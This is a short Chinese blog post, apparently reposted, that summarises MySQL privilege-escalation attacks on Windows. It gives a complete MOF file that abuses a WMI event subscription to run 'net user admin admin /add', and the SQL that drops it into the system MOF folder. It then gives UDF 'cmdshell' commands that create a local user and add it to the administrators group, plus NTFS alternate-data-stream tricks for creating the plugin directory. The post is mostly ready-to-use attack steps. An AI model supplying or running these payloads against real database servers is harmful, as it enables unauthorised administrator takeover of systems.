mysql 提权总结
Posted nul1
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql 提权总结相关的知识,希望对你有一定的参考价值。
1.MOF提权
简单的说mof就是系统内部的一个程序,每隔一定时间系统就会以root权限去执行,我们将其替换然后执行我们的而已攻击代码。此举称之为mof提权。
以下便是脚本:
1 #pragma namespace("\\.\root\subscription") 2 3 instance of __EventFilter as $EventFilter 4 { 5 EventNamespace = "Root\Cimv2"; 6 Name = "filtP2"; 7 Query = "Select * From __InstanceModificationEvent " 8 "Where TargetInstance Isa "Win32_LocalTime" " 9 "And TargetInstance.Second = 5"; 10 QueryLanguage = "WQL"; 11 }; 12 13 instance of ActiveScriptEventConsumer as $Consumer 14 { 15 Name = "consPCSV2"; 16 ScriptingEngine = "JScript"; 17 ScriptText = 18 "var WSH = new ActiveXObject("WScript.Shell") WSH.run("net.exe user admin admin /add")"; 19 }; 20 21 instance of __FilterToConsumerBinding 22 { 23 Consumer = $Consumer; 24 Filter = $EventFilter; 25 };
保存为a.mof然后找一个可写目录上传a.mof,使用mysql执行:select load_file(‘D:wampa.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘;
即可提权成功。PS:添加的账号密码在脚本里。
2.UDF提权
0x01
首先需要判断版本。且在导出dll的时候需要多加一个斜杠
mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF导出到安装路径MySQLLibPlugin 一般情况下是大于5.2的,而默认情况下[Plugin]目录也是不存在的。可以通过菜刀新建,如若不行可以通过0x03的NTFS流创建。
0x02
创建cmdshell函数
create function cmdshell returns string soname ‘udf.dll‘;
select cmdshell(‘net user waitalone waitalone.cn /add‘);
select cmdshell(‘net localgroup administrators waitalone /add‘);
drop function cmdshell; 删除函数
delete from mysql.func where name=‘cmdshell‘ 删除函数
0x03
在默认情况下会遇到Can‘t open shared library也就是文件夹问题,需要创建一刚开始说的文件夹,可以菜刀里直接新建,如若不行,可以通过NTFS创建。
查找到mysql的目录:select @@basedir;
利用NTFS ADS创建lib目录:select ‘It is dll‘ into dumpfile ‘C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION‘;
利用NTFS ADS创建plugin目录:select ‘It is dll‘ into dumpfile ‘C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION‘;
然后导出以后就再创建函数通过函数来执行cmd即可。
以上是关于mysql 提权总结的主要内容,如果未能解决你的问题,请参考以下文章